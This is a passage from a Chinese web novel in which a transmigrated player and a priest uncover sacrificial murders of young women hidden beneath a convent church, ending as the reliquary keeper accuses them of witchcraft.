……这和之芙听来的没什么区别。这座修道院是侯爵夫人出资修建的,为什么她不知道、或是不告诉特蕾莎这里有地下室呢? 特蕾莎才订了婚,侯爵夫人应该没有要害死自己女儿的理由才对…… 【后来伯爵也加入了资助。但具体的我没有打听到,只是说伯爵为了自己的孩子祈福——也就是我祈福,祈祷我的病快些好起来,才资助修道院的。】 之芙快速略过这些她已经知道的线索,看到了下一行。 【至于你让我打听的艾弗神父,他的身世没什么问题。他从小出生在贫民窟,父母很早就离世了。他曾经有一个妹妹,但在他十几岁那年得了不治之症,他花光了自己和父母的积蓄,也能救活妹妹。 后来,他就成为了一名虔诚的信徒。一开始是为了在教堂混一口饭吃,后来他在神父的帮助下读书识字,成为了现在的“艾弗神父”。 你所说的艾弗神父为人正直,善良虔诚,正义勇敢——按照我的经验,这样的NPC听起来很像是副本的陷阱,但我查过了,他没有问题,我觉得你可以相信他……适当的。】 之芙也点了点头。就她目前的调查和试探来看,有问题的不是艾弗神父。 她紧接着往下看: 【你说的那个圣物管理员……】写到这里的时候,流畅的笔触断掉了,留下了三个深深的墨点,仿佛这支笔的主人也在犹豫着。 【她有点奇怪。我的消息是,她最起码在四十多年前就已经来到修道院了,而且她和艾弗一样,有一个重病的妹妹,她的经历也跟艾弗很像,父母害怕重病的妹妹会拖垮家庭,所以抛弃了她的妹妹,她却主动离开了家,找到了被丢弃在荒野的妹妹。 结局也是可以想见的,她没有钱,甚至没有一个可以遮风挡雨的家,她们在荒野里流浪了一段时间,她的妹妹很快去世了。埋葬了妹妹之后,她进入了修道院,成为修道院里一名最普通不过的修女。 但是……】 又是几个墨点。白飞烟大约犹豫了好一会儿,才接着写了下去。 【……有人说在修道院见到过管理员的妹妹。】 之芙的心跳猛地一颤,不可置信地往下读: 【不是鬼魂,就是……活着的,她的妹妹。据说那个女孩跟她长得很像,有很多的人都曾经在修道院里见过她,她时常去探望自己的姐姐,有时还带去自己做的饼干和粥。 就像是……她从来没有离去一样。她后来好像还嫁了人,举家搬离了小镇,但圣物管理员却一直留在那里。 据管理员的说法,她的妹妹一直很健康,从来没有生病过。很多人都相信她妹妹的死亡只是谣传。 但我找到了当年曾经救助过她们姐妹的一对夫妻,他们告诉我,圣物管理员的妹妹的丧葬费用都是他们出的,也是他们眼睁睁地看着管理员的妹妹下葬的,不可能有错。 还有……当年为管理员妹妹的下葬做礼拜的身份,就是修道院里的神父。】 第179章 《好消息:莉莉丝降临了!》 …… 之芙有点愣住了。这是白飞烟不调查, 她绝对不会知道的线索。怪不得要她和白飞烟两头分开查,他们彼此之间应该都有对方查不到的东西,整合起来, 才能把真相的拼图拼全。 四十多年前,艾弗还没有来到这个修道院, 所以当年给圣物管理员妹妹做弥撒的神父肯定不是他。这么多年过去了, 那位神父多半也年事已高,或许早已经去世了。 但他却恰好是这个修道院的神父……他给那个女孩儿的下葬做了弥撒,后来再遇到对方的时候, 他没觉得奇怪吗?圣物管理员那位“死去的妹妹”会和这个修道院有什么关系吗? 如果没有刚刚入梦里的经历, 没有在梦里看到圣物管理员对地下室的尸体的态度,之芙是绝对不会想到的—— 但现在, 之芙的脑海中冒出了一个猜测: 会不会是……献祭?圣物管理员献祭了什么, 换来她妹妹的死而复生…… 如果是这样的话, 她妹妹不仅死而复生, 而且还嫁人, 举家搬出了这里,她的愿望应该已经实现了才对。 但地下室里的那些尸体看起来放置的时间还不长,不可能有四十多年这么久。 所以一定还有人在献祭。这个人也不难猜, 大概率是侯爵和伯爵之中的一位。只是……圣物管理员献祭换来的是妹妹的死而复生, 他们又想用献祭换来什么呢? 之芙戳了戳信封, 把信纸放到蜡烛下点燃, 看着它烧成灰白色的灰烬落在地上。 她隐隐约约感觉到自己已经触碰到了真相,但无数线索在脑海中结成了一个杂乱的毛线球, 怎么也找不到那个可以解开它们、把它们连接在一起的线头。 或许还差什么最关键的线索吧。之芙叹了口气,正准备出门去找特蕾莎,忽然发现手里的信封似乎有点不对劲……如果她没有闻错的话, 信封里,好像有墨水的味道……? 之芙意识到了什么,把信封拆开,却见信封的内里写满了字,她还没有仔细看那上面具体写了什么,就被白纸上狂乱的字迹弄得心里咯噔了一下。 纸上的字迹凌乱至极,看起来像是在极度紧张急迫的情况下写下的,顺序也很凌乱,不像那张纸上那么井井有条。 【快跑。】 【伯爵家有问题,快跑!】 这两行大字写在最中间,黑色的字迹紧紧挤在一起,其他的字都写在这两行字的旁边,轻易就能让人想象出写下这两行字的人当时是什么情况—— 大概是遇到了危险,白飞烟才在紧急之中写下它们,并没有想到自己还有机会来写旁边的字迹,所以才从一开始就没有预留足够的空间。 而剩下的字写得很小,密密麻麻地挤在旁边: 【伯爵家有问题。我之前跟你说他们的态度很奇怪,你还记得吗? 我……你看到这行字的时候说不定会觉得我疯了,实际上我也觉得很荒谬……呼。我逃过了一次检查,现在还有些时间,长话短说。 之前我就发现伯爵对我的态度很奇怪,他在表面上装出慈爱的样子,但实际上很讨厌我……或者说,讨厌我的断腿,讨厌自己的孩子,是个残废。 我在伯爵的书房发现了他跟修道院里的人的通信记录——那个人大概率就是你说的‘圣物管理员’,他们在信件里讨论献祭的事情……从记录上来看,是伯爵先找到圣物管理员的。他听说了管理员的妹妹死而复生的事情,于是询问对方做了什么。 圣物管理员如实告知了他事情的经过……她和妹妹流浪在荒野上时,曾被一位居住在森林里的女巫短暂收留,她偷走了女巫的书。在书上她发现了一个向恶魔献祭的法术,据说只要向恶魔献祭上年轻女人的鲜血,就能……让恶魔降临。】 ……让恶魔降临?不是让人死而复生吗? 之芙眉头一跳,继续看了下去。 【管理员在信里说,她死而复生的妹妹根本就不是她的妹妹,而是一个……陌生人。她不认识自己的姐姐,自称自己失忆了,管理员一开始还以为是她生病烧糊涂了,但后来她经常做出让管理员感到陌生的举动,比如她突然识字并且爱上了读书,她会说其他国家的语言,她变得开朗了不少,而且她经常去修道院探望管理员,还会给她送饭和饼干……但她妹妹根本不会做饭。】 之芙:“……” 她心里已经有了一种猜测,几乎要脱口而出。 【管理员详细说明了自己妹妹的变化,她认为这是恶魔降临到她妹妹的身上。但伯爵不在乎这些。他只在信里询问管理员,在献祭之后,她妹妹的身体是否有好转。 答案是肯定的。所以伯爵要求管理员帮助他完成献祭,管理员也答应了——她无法拒绝伯爵的要求。 你肯定也想到了,伯爵提出的要求是……他希望他的孩子好起来。 即使……‘好起来’的并不是他的孩子。】 之芙捏着信纸,只感到荒谬。 圣物管理员所说的,她的妹妹像是变了一个人,像是被恶魔附身——并不难猜。听起来,这好像是像他们一样的玩家穿越到了游戏里,顶替了她妹妹的身份。 这个游戏或许还有一部“前传”,或者他们所处的时空才是番外DLC。 伯爵献祭了那么多可怜的女孩,也是想要白飞烟好起来,让他面子上好看吧……?但是……他绝对想不到的是,穿越成他的孩子的那个玩家,也是……残疾。 ……一切简直荒谬到可笑。 但在意识到这一点过后,之芙也立刻反应过来了。 白飞烟现在应该很危险。他被发现了吗?他遇到了什么?信上没有写太多…… 他只是在信上让她离开。如果不是遇到什么危险至极的事情,他不会这样说。 之芙记得,在上一封信的时候,白飞烟说过伯爵家的人正在试探他,只是当时他们都还不知道他们在试探什么——现在知道了,但好像已经晚了。 之芙看向自己手里的信——信封中间又大又乱的两行【快跑】仿佛溢出了无数的急迫,这是他在进入游戏前就告诉之芙,并且无数次强调过的。 如果真的到了无可挽回的地步,之芙就先一步退出游戏。 现在,选择摆在了她的面前。是先走,保证自己的安全,还是想办法拼命一搏,试着救一下白飞烟? 之芙想起了另一件事,另一个伏笔。 她在艾弗的身上留过幻觉。 第180章 《好消息:莉莉丝降临了!》 夕阳…… 夕阳落入天边, 晚祷刚刚结束,金灿灿的血色照过教堂的花窗,在地面映出一道道颜色奇诡的图画, 教堂里的歌声仍未散去,在空旷的室内不断回荡。 艾弗有些心不在焉。这不仅仅是因为刚刚晚祷时之芙总是看向他——莫名地, 他发现自己很在意她的眼神。更重要的原因是, 他发现缠着自己的小蛇有些不安分。 这只从梦里带出来的小蛇除了第一次出现的时候吓了他一跳之外,其他时间都静悄悄地趴在他的手腕上,像是一只黑色的手镯, 只在偶尔从袖子里探出它圆圆的小脑袋, 用一种审视的目光,直勾勾地盯着他。 但不久前, 它突然开始兴奋起来, 缠绕着他的手臂上下爬行, 还时不时张开嘴, 用尖牙咬住他的手指——虽然小蛇很克制地只留下了一些血点子, 但被某种诡异的冷血野兽缠上的痛感还是令人直冒冷汗。 晚祷结束,艾弗本想去找之芙,再问问梦里的事情, 但小蛇却像是不愿意他离开。 只要他有想要站起来、离开教堂的动作, 小蛇就会紧紧缠住他, 用尖牙刺穿他的手指, 警告他不许离开。 艾弗只能呆在教堂里,保持着微笑, 直到所有人都离开。 小蛇顺着他的手臂,缓慢地爬上他的肩膀上,绕着他的脖颈慢条斯理地缠在另一边肩膀上。 他跟小蛇对上了视线。光滑的鳞片在夕阳的光下泛出冰冷的色泽, 它咧开嘴,蛇信子在空中一吐一吐,像是在微笑。 “嘶嘶……”它低声呢喃。 明明这只是一只蛇所发出的声音,但艾弗竟然在一瞬间就理解了它的意思。 它在催他。或者说,她在催他。 “……要我做什么?”艾弗低声询问。 小蛇咧着嘴,仿佛在笑,很满意他的知情识趣似的。但艾弗告诉自己,他没有臣服于恶魔。 这只是因为他也想知道真相。 恶魔告诉他这个教堂里总有女人的哭声,她的意思难道是有人在这里含冤死去了吗?这怎么可能?这里可是修道院!而且,他作为修道院里的导师,从没有听说过这样的或是类似的事。 小蛇静静地看了他一会儿,忽然转头看向了教堂中的一个角落,小小圆圆的黑脑袋像是一个箭头,直勾勾地指着那里。 艾弗定睛一看,那只是教堂的一个普通角落,摆着一张再普通不过的木制长椅,此刻没有人,只有温暖的阳光落在上面,就更显得寂静祥和。 他有些迟疑:“那里有什么问题吗?……是让我过去的意思?” 小蛇没有回头:“嘶嘶……” 艾弗顺从地走了过去,走近了也没发现什么奇怪的地方,椅子摆在原地,和前后的距离都刚好,脚下是柔软的地毯,地毯的边缘一直延伸到椅子下面。 小蛇顺着他的手臂游下来,轻飘飘地落在地毯上,没有发出声音。它的蛇信子不断吐出,像是在感受着空气中的信息素带来的消息。 半晌,小蛇从椅子的边缘钻进地毯里,用小脑袋顶起了厚厚的地毯。 “嘶嘶……” 艾弗愣了一下,跟着蹲下身去,掀开了地毯——地毯下面,有一道不甚明显的方形裂缝,是一块盖在上面的木板。如果不是小蛇示意,很容易看漏。 他意识到了什么,这是……地下室?他掀开木板,露出下面的通道。 一道黑漆漆的洞口,很明显是通往地下室的入口。 艾弗犹豫了一下,抬起头看向外面。晚祷刚刚结束,现在是晚饭的时间,这个时间,所有人都在饭堂里,不会有人来教堂。 但他还是起身,把教堂的大门关上了。随即他带上蜡烛,毫不犹豫地跳进了地下室里。 “噗呲——”他点燃蜡烛。一道阴影在他面前落下。 是小蛇,它也跟着他落进通道里,砸在地面上,却依旧轻飘飘的,像是一个幻觉似地没有发出任何声音,它抬起头,漆黑的脑袋看向面前同样漆黑的通道。就这样看了一会儿,它回过身来,重新爬到了艾弗的身上。 艾弗:“……” 不知怎地,在这样的漆黑中,在这样明显透着诡异的地方,小蛇盘在他身上,竟然让他感受到了一阵诡异的……安慰。 他不知道这条蛇到底是什么东西,它看起来有点像是他梦里那个恶魔之芙的尾巴,又好像有自我意识,偶尔咧着嘴的时候……会让他想起那个恶魔的笑。得意洋洋的,阴森森的,好像把他完全拿捏在掌心的笑。 ……好吧,艾弗不得不有些沮丧地在心里承认,不是好像,是真的。他确实是被她完全拿捏住了,毫无办法。然而最可恶的是,他已经被她看透了,但他却完全不了解她。 艾弗就怀着这样微妙的,有些愤恨又有些沮丧的心情,慢慢地走到了通道的尽头。 ——映入眼帘的是一张长桌,桌上摆着血迹斑斑的凶器,刀刃在昏黄的烛火下闪着冷冰冰的、凶残的光。 艾弗的脸色一下变了。 他三步并作两步地冲到桌子面前,一件件仔细查看桌上的凶器和血迹,每多看一眼,他的脸色就变得更加难看,他还没仔仔细细地看完长桌,整个人已是脸色铁青,必须要用双手扶着桌子的一头,才能强忍住心里的惊骇和怒火。 他提起蜡烛本想先离开这里去报警,忽然想起什么,脸色铁青地往更深处走去—— 几秒钟后,他看到了那小山一样,层层叠叠堆垒起来的尸体。 就在教堂的下方,在他日夜歌唱祈祷的脚下。 艾弗只感觉浑身上下的血一下凉透了,却有炽热的火一下窜到头顶,烧得他眼前一黑,不住颤抖,几乎无法呼吸,喘息间都是炽热的气息。 怒火中烧之中,他忽然注意到地下那些奇怪的纹路。 ……这又是什么?他觉得有些眼熟,似乎是在哪里见过…… 等等。艾弗想起来了。 在梦里。恶魔之芙说,是有人把她召唤出来的。 ……这不会是召唤恶魔的法阵吧?在教堂做这种事……疯了吧?! 180-190 第181章 《好消息:莉莉丝降临了!》 只听到纸…… 艾弗压抑着自己急促的呼吸, 走出了通道。他将通往地下通道的入口仔细地掩上,心里急速地思考着该怎么处理这件事—— 毫无疑问地,应该先报官。或许还应该通知侯爵和伯爵……不, 应该先封锁修道院。修道院里常年没有外人进出,那个凶手只有可能是修道院里的人, 为了不打草惊蛇, 应该先…… 就在他一边思索对策,一边往外走的时候,忽然注意到, 教堂里的内间的灯亮着。 ……有人?他第一时间警惕起来, 看了一眼大门。门依然是关上的,没有被人打开的迹象, 怎么会有人在教堂里?那个人有没有发现地下室? 跟着他的小蛇从他身上跳下来, 直勾勾地盯着那亮着光的房间, 仿佛又在指示着什么。 艾弗只犹豫了一瞬, 就顺从地跟着小蛇, 走向亮光处。 那里是教堂侧面的一个小房间,也是修道院里的祷告室,几乎每天都会有人推开祷告室的门, 向内间的艾弗忏悔或祈祷。 艾弗每天都要在忏悔室里呆两个小时, 但他几乎没有从忏悔室的正门进去过——由于忏悔室的特殊性, 通往两边的房间的是完全不同的两条路, 以确保神父和忏悔的人不会看到彼此的模样和表情。 艾弗站在门前,竟然有些恍惚。 这么多年来, 这好像还是第一次,通过这个门,进入忏悔室。就好像诗歌里写的那样, 在推开这扇门的瞬间进入了另一个完全不同的世界。 这一刻他不再是高高在上的神父,不再是倾听罪孽的神的代言人,而是一位心情忐忑的怀罪之人。 他推开了门——室内的灯亮着,但没有人。 忏悔室是分内外间的,两边房间用一扇小窗隔开,在防止看到彼此的脸的同时,让声音互相传递。他走到墙边,掀开了小窗。 窗的另一头是他熟悉的房间,墙壁刷成纯白色,屋里没有家具,只在房间的正中摆着一把椅子。 恍惚间他觉得椅子上应该坐着一个人,应该……熟悉的人。 但什么也没有,他不知道自己是松了口气还是失望。 他把窗户重新关上,准备原路退回,却忽然被忏悔室里的椅子吸引了视线。 这边的外间和里面一样,纯白的墙壁,空旷的房间,正中摆着一把椅子。 艾弗盯着那把椅子。 鬼使神差地,他走了过去,坐在了上面。 纯白的墙壁让他有些眼花,他低下头,稍微整理了一下自己凌乱的领口,整理到袖子的时候,眼里扎入一道血红色。 是刚刚在长桌上蹭到的。 “……” 寂静的、空旷的屋里里,只有他一个人的呼吸声。他清楚地知道,一墙之隔的内间里谁也没有。 “……” “我忏悔……” 他睁着眼,看向窗户。脑袋空空的,好像在想象一墙之隔的内间会有一个人倾听他的忏悔,又好像什么也没有想。 他确实应该忏悔,忏悔自己的不称职。 修道院里发生了这样的事情,他却毫不知情。甚至直到现在,他感觉自己的鼻腔里还溢满了血腥味。 他难以回忆自己以往是如何在这成堆的尸骨上日日祈祷夜夜安眠的。 他简直罪大恶极。 “……” 长久的静默之后,室内响起了一声叹息。 “……”艾弗的眼珠迟钝地转动了一下,好一会儿,他才意识到刚刚听到的叹息声不是他自己的声音,也不是他脑海中的幻觉。 他下意识抬起头,看向亮着灯的内间。暖黄色的光从小窗户的缝隙里透出来,落在白色的地板上,像是一道人造的太阳,即使没有落在身上,仅仅只是看着,也能让人感受到温暖。 ……内间有人吗? 可是他明明确认过,里面空无一人。 是幻觉吗?可是那叹息声如此清晰,仿佛响在耳畔,却让他感觉无比真实,又熟悉。 “这不是你的错。”内间传来一个熟悉的女声,轻飘飘地,像是一阵虚无缥缈的歌声,但在这个声音响起的那一刻,艾弗却听到了自己心口的石头落地的声音。 “……” “而且,你不是已经决定弥补这个过错了吗?” “对……”对。他已经决定,要弥补这个过错了。 内间里的人笑了一下。那笑声也像是轻雾一般笼罩着他,语气循循善诱:“所以,接下来你准备做什么?” “……”艾弗抿唇,“先报官。或者,先弄清楚到底发生了什么。” “不。”内间传来的声音平静得仿佛判决,又像是在引导什么,“你应该先去保护那些可能遇到危险的人,不是吗?” “可能遇到危险?” “地下室里的那些人都是年轻的女孩。你没有想过她们是谁吗?你有看过她们的脸吗?” “……”艾弗有些恍惚起来。他没有太注意,但好像……有些眼熟,似乎曾在哪里见过。他坐在原地,用混沌的大脑努力想了半天,终于把其中一个苍白的人脸和记忆中模糊的脸对上了号。“等等,那些人是……” 那些人分明是之前在修道院进行过新娘修行的女孩! 想通了这一点,艾弗觉得自己的脑袋清醒了一些——或者说,前所未有地清醒。 他深深地呼出一口气,从椅子上站了起来。 然而,在离开之前,他忽然在窗前顿住了。嘴唇开开合合,过了好一会儿,他轻轻地问:“是你吗?” “……”窗的那头传来一声轻笑,熟悉的声音,像梦里飞溅在草地上的喷泉水。 “我……”艾弗欲言又止,好半晌,他才轻声说,“天使小姐,我找到了你托我找的那位恶魔。” “是吗?谢谢你。” “……”他又沉默了一会儿,仿佛非常纠结似的,漆黑纤长的眼睫颤抖着,最后像是下定了什么决心。“天使小姐,我有一个问题,是否冒犯?” “嗯?” “……您还会再进入我的梦里吗?” “嗯……你很希望我进你的梦里吗?”她不答反问。 艾弗点点头,又想起一窗之隔,对面的人看不到他的动作,于是顿了顿,往前走了一步,站在了窗边。 “……之前见面的时候,你说如果我找到那个恶魔,就实现我的一个愿望。” “嗯,你可以说。你是想进入天堂吗?现在可不行。不过我可以先答应你。” 艾弗又摇了摇头,他从怀里掏出一张卷成桶的纸,答非所问道:“我记得你说自己特殊,跟其他天使不一样,壁画里不会有你的画像。……我想给你这个。” 他展开那张纸,手指用力地碾过纸张,抚平。 画上是熟悉的人,熟悉的姿势,五官和表情。背景是梦里的青草地,喷泉飞溅出的水珠在阳光下闪闪发光。 他垂着眼,将纸从窗户的缝隙里递了过去。 “至于愿望的话……冒犯了。我可以摸摸你的翅膀吗?” 窗内一时无声。只听到纸片坠地的哗啦声,也轻似无物。 第182章 《好消息:莉莉丝降临了!》 …… “……”室内又陷入了寂静, 艾弗只能听到属于自己的呼吸声。 “你还在吗?”隔着窗户他问。 少顷,他垂下眼,从窗户关不紧的缝隙里, 看到一只手伸向了坠落在地的纸。 他眉头一跳——那是一双藏在黑色修女服里的手,在捡起纸张的瞬间, 露出了苍老的, 皱巴巴的指节。 他猛地伸出手,从窗户的缝隙里抓住了对方的手臂! “你是谁!?” 窗户被他的动作猛地推开,压在他的手臂上。 他跟对面的人对上了视线——那张熟悉的脸在此刻显得如此陌生, 她出现在这里完全出乎了艾弗的预料, 让他难以置信地睁大了眼。 “是你?!” 对面的人表情平静,捡起了地上的纸, 看了一眼——其实纸落在地上的时候, 就已经能看清楚上面的人了。 她顿了顿, 反问道:“神父, 您方才在说什么?” ——正是圣物管理员。 “你什么时候来的?”艾弗紧紧盯着她。 “刚刚。”圣物管理员说, 又问,“神父,您为什么在这里?” “……”她表情平静, 不像是听到了刚刚的话一样。艾弗刚刚也确实没有看到内间有人。他稍微放松了一些, “只是过来看一看。” 圣物管理员在修道院里工作很多年了, 她是个虔诚的教徒, 善心而慷慨无私。 就如同这一刻,她蹲下身, 用另一只没有被艾弗攥住的手捡起纸,交还给艾弗。 艾弗顿了顿,伸手去拿——下一秒, 却听见圣物管理员猝不及防地问:“这是之芙小姐吗?” “……” 画上的人的确跟之芙一模一样。但那双翅膀太过引人注目,合着画中人平静安详的面容,像是一个美好的梦境。 艾弗无法否认:“是……但也不是。”他在刹那间意识到了这个看似不经意的问题的狡猾之处——如果他否认,那他将无法解释画中的人为何和之芙长了张一模一样的脸,但如果他承认,他又无法解释这幅画上的人为何看起来不像是人类,反倒像是天使。 他只能含糊着道:“这是我在梦里见到的天使。” “……”面前的人忽然抬起头直勾勾地盯着他,眼睛一眨也不眨。 “……怎么了?”艾弗察觉到了一丝不对劲。他不动声色地接过圣物管理员手上的纸,却没想到对方做出了递给他的动作,却根本不愿意放手。 “神父,我听到你跟修女的对话。你真的在梦里见到了天使吗?” 艾弗点点头。 隔着一扇窗,圣物管理员的表情变得有些奇怪。她半张脸都掩盖在头巾里,头巾投下来的阴影把她苍老的脸上下分割,她眼睛藏在黑暗之中,像是一只诡异的黑猫。她幽幽地问:“神父,你真的相信,那是天使吗?” “当然。”他说,“这是主的旨意和引导。” 话音未落,在圣物管理员还没有反应过来的时候,他猛地将纸往自己的方向一扯! 管理员猝不及防,一下子被他扯回了手里的东西。 “你想说什么?”艾弗问。 管理员顿了顿,不答反问:“神父,你是觉得,之芙小姐是天使吗?” 艾弗眉头一跳:“我并没有这么说。” 窗内传来管理员的哼笑,那笑容里带着讥讽。 “如果世界上真的有神、有天使的话,为什么他们不来救我们?” “……”这话题跨度有些太大了,艾弗一时没有反应过来:“什么?” “我想,这个世界上应该只有恶魔和女巫吧。”管理员幽幽地说。 艾弗实在错愕——她为什么会这么想?一个在修道院里潜心工作了四十多年的人,忽然说‘世界上并没有天使和神明’……这简直荒谬到无以复加。 事情到底是怎么变成现在这个样子的?一夜之间,他身边的人和事就天翻地覆,修道院的教堂下堆着累累尸骨,而虔诚的信徒骤然开始质问神明的存在。 这一切好像一场梦,而且很难不让人产生‘这是在做噩梦吗?’的疑问。 艾弗只感觉到,事情好像在往他完全无法预料的方向一路狂奔而去——而他不知在什么时候,已经被远远地甩在了身后,以至于对眼前的一切都无法理解。 他有一种不详的预感,仿佛事情溃堤似地向着无法挽回的目的地滑落,而在那之前,他还试图挽救一下—— “你在说什么?你……最近不舒服吗?烧糊涂了?” 然而管理员对他的话视若无睹。她平静地道:“如果真的有神或天使这种东西,为什么他们不愿意救救我们,救救我们的妹妹呢?” 艾弗:“……”他猛地顿住了。 好半晌,他听到自己有些艰涩的声音:“因为……这是神对我们的考验。恶魔与主打赌,信徒并不是真的信仰与他,于是降下罪孽与痛苦,要我等忍受……” 一墙之隔,圣物管理员静静地注视着他。她没有说讥讽或反驳的话,只是那样沉静的眼神已经足够让人噤声。 艾弗张了张嘴,最后什么也没有说出来,只是与她对视着。 “我恨他们。”她用苍老而嘶哑的声音说。 “……恨谁?我吗?”艾弗问。 “我恨那些天使。”管理员一字一顿,嘶哑的声音像是破了洞的风箱,“他们为什么不救赎我们?他们为什么不保持我们、我妹妹灵魂的洁净?” “我恨……”她的目光像是阴湿的爬虫,从艾弗的脸一路爬行到他的手上,他拿着的那张纸上,‘天使’静谧的笑容上。“如果她真的是天使,为什么不救我们?” 她忽地一笑,露出惨白的、参差不齐的牙齿。不等艾弗反应过来,她便头也不回地推开门,朝外奔去了。 下一秒,艾弗听到了逐渐远去的、重物和玻璃被推翻在地打碎的声音,她似乎在‘逃命’。随之而来的,还有她的尖叫声:“救命——” “救命!!!!” “恶魔出现了!女巫!教堂里藏着女巫!” 第183章 《好消息:莉莉丝降临了!》 好消息,…… “醒醒……醒醒!” “特蕾莎, 醒醒!!” 急切的声音和摇晃吵醒了睡着的特蕾莎。她从美好的梦境里惊醒,揉着眼睛,看清楚了自己面前的人——是之芙。极近的距离下, 她看到之芙一脸焦急,嘴唇一张一合地说着什么, 瞳孔里闪着明明灭灭的光, 就连她颤抖的鸦羽般的眼睫都能看得一清二楚。 迟了半拍,她的耳朵里才听到了之芙的声音: “快醒醒,别睡了!” “……怎么了?”她的意识还有点迷蒙。 “别睡了。”之芙的声音又冷又硬, 像是一捧凉水兜头浇下, 让她瞬间清醒了过来。特蕾莎这才注意到,之芙紧紧地皱着眉, 表情凝重以异常。 “出什么事了?”特蕾莎也不至于连这么明显的脸色都看不懂。她一骨碌从床上翻下来, 之芙递给她一套修女服, 她二话不说往身上套。 “……说来话长, 时间紧迫, 你先别急着问。”之芙沉着声音,“总之,你相信我吗?” 特蕾莎正把袖子整理好, 闻言有些莫名其妙地抬起头看她:“废话, 我不相信你还相信谁?是你说的, 这个修道院里我们可以互相信任……” “你相信我就好。”之芙打断她, 双手握住她空着的手,“你什么都不要问, 现在先离开这里,逃出去,逃得越远越好。” “……什么?”即使决定要相信她, 特蕾莎还是为这没头没脑的话皱起了眉,“什么意思?为什么?” “来不及说了!”之芙转身,看到她放在书桌上的信封,她认出那是自己曾经写给特蕾莎的信,便一把抓起塞进她的怀里,下一秒拉起她往外狂奔,“先离开这里!” “之芙?之芙……”特蕾莎疑惑的问话从身后传来,之芙却头也不回地拉着她往外跑。 直到—— 她们听到教堂的方向传来圣物管理员的疾呼:“恶魔——有恶魔——” “哈?!”特蕾莎不可置信地发问,“等等,这是发生什么了?” “不要信她。”之芙斩钉截铁地说,“特蕾莎,我们不是一起去了地下室吗?” “对,但那不是管理员让我们发现的吗?她不是想提醒我们,让我们逃跑吗?” “不,是她想杀了我们。你不觉得奇怪吗?为什么她知道一切,却不告官。如果她不敢告官,又为什么只‘提醒’我一个人?你是侯爵的女儿,按理说,如果她真想让人发现这一切,应该告诉你才对。我一个平头百姓,告诉我有什么用? 她只‘提醒’我,更准确地说……是她不敢杀你。所以那一天晚上,她发现跟上自己的人是你之后就立刻逃走了。她不能让自己跟地下室扯上关系。 她真正的目标是我。她想把我骗到地下室去……杀掉。” 最后两个字,之芙念得又轻又冷酷。 特蕾莎张大了嘴,一时不知道该说什么好。她当然相信之芙的判断,但是……这一切来得太突然了。她不明白发生了什么。 之芙看到她怔愣的表情,一时也有点无奈。最初她的判断跟特蕾莎一模一样,但幸好她进了管理员的梦里,否则就算被管理员害死她也不知道发生了什么——这局游戏里最大的boss和底牌杀招应该就是这个圣物管理员了。 简直不敢想象,如果不是之芙,只是一个普通的玩家,遇到这个从游戏一开始就会被下意识地判断为友好NPC的圣物管理员会被坑成什么样子。 她们还没有跑到教堂,前面就传来了密密麻麻的脚步声,混杂着纷乱的声音:“去找!”“发生什么了!”“别管了!先找到那两位小姐!” 之芙倒吸了一口凉气。这比她想象中还要更快。 她只是用幻觉在忏悔室里引导艾弗神父,想让他想想办法救她们和现在正陷入危险的白飞烟,却没想到圣物管理员会来教堂。 在发现对方的第一时间她就撤回了自己的能力,冲到特蕾莎的房间喊醒她,却已经来不及了。 走廊的尽头通向教堂,教堂的外面才是离开修道院的路。 现在离开肯定会跟那些人迎头撞上。但如果留在这里,她们也一定会被发现的。 之芙心念电转,拉过特蕾莎,做了一个“嘘”的手势,低声说:“跟我来。” 她带着特蕾莎从一侧上楼的楼梯往上走,二楼是生物管理员的地盘,但她现在大概率在楼下,现在二楼没有人。之芙拉着特蕾莎悄悄潜入二楼,然后打开了圣物保管室的门,把特蕾莎推进了屋里。 “你就先呆在这里。”她压低声音跟特蕾莎说,“她们不敢伤害你,但可能会暂时把你关起来。如果是那样的话,就真的没有人能救我们了。等到那些人离开,你悄悄从二楼下去,找人来,可以吗?” 特蕾莎点点头。她睁大的眼睛里带上了一点恐惧的意味——她从没有遇到过这种事:“发生什么了?我听到她们在说什么……恶魔、女巫之类的。” 之芙回过身去,撬开了圣物保管柜,从里面拿出那个染了血的麻布,塞进特蕾莎的手里:“这上面的血是地下室里那些女人的血。这是证据,你保管好。” 她顿了顿,对上特蕾莎的视线。 特蕾莎说:“她们说的女巫……是我们吗?这……” 在这个时代,指认一个女人是女巫无疑是最恶毒的、最残忍的指控。 “我……怎么会突然……”特蕾莎明显有点晕,“什么女巫,我可不是女巫……” “没办法的。”之芙一摊手,“她们说你是你就是。难道你有办法通过那个什么女巫测试吗?” 特蕾莎张了张嘴,一句话也没能说出来。 之芙冲她笑了一下:“她们也说我是女巫了。坏消息,我真的不是女巫。” “好消息嘛……我真的是恶魔。” 之芙想起了她刚来到这个世界的时候,街上叫卖的报童和系统对于这个世界的取名都叫做:好消息:耶稣降临了! 特蕾莎错愕地瞪大了眼睛。 对于她来说,降临的不是耶稣,是莉莉丝,这才是好消息吧。 第184章 《好消息:莉莉丝降临了!》 自由对于…… 脚步声逐渐远去, 特蕾莎蹲在桌子下面,有些发愣地看着之芙逐渐远去的身影。 她后知后觉地打量着手中染血的麻布,粗糙的布料硌在掌心, 鼻尖全是已经腐臭的血腥味……这是什么?之芙刚刚说……凶器?证据?那上面的血,岂不是都是地下室那些受害者的血…… 她的面色瞬间变得煞白, 手一抖, 下意识就把麻布扔在了地上——下一秒,又抿着唇,小心翼翼地捡起来, 塞进怀里。 而就是这个动作, 忽然让她摸到了怀里的另一样东西——她们离开房间时,之芙塞给她的信封。那封信也是不久之前之芙塞给她的, 睡觉时她随手放在了桌子上, 之芙在逃命的时候也要带上这封信, 信里应该是很重要的东西吧? 特蕾莎颤抖着手打开信封, 又想起当初之芙把这封信给她的时候, 说让她“到了合适的时机再打开”。当时她还不理解,但现在,她似乎理解了一些。 这里面会是什么?是线索吗?还是另一些证据?之芙把这封信交给她, 是让她救她吗? 特蕾莎小心翼翼地打开信封—— 预想中的“证据”和“线索”都没有出现。里面放着的, 是一张手绘的地图。特蕾莎看了一会儿, 才反应过来这是修道院的地图, 上面清清楚楚地标注出了几条逃离修道院的路线,还有被红圈圈起来的安全点, 旁边详细地写着每个地方可以怎么躲藏。 特蕾莎愣了一下。明明身处混乱而危险的夜晚,她却骤然想起那天,之芙把信给她的时候。 那只是一个寻常的夜晚, 夜风微微拂过她们的发梢,之芙把这封信塞给她的时候,脸上的表情也没什么特别的,特蕾莎都已经快记不清那时之芙的表情了——是凝重,是羞涩,还是期待?似乎都没有。 之芙是什么时候画下这张地图的?她是不是早就知道了什么?那时她又是以什么样的心态,把这封信以普通信件的名义塞给她的呢? 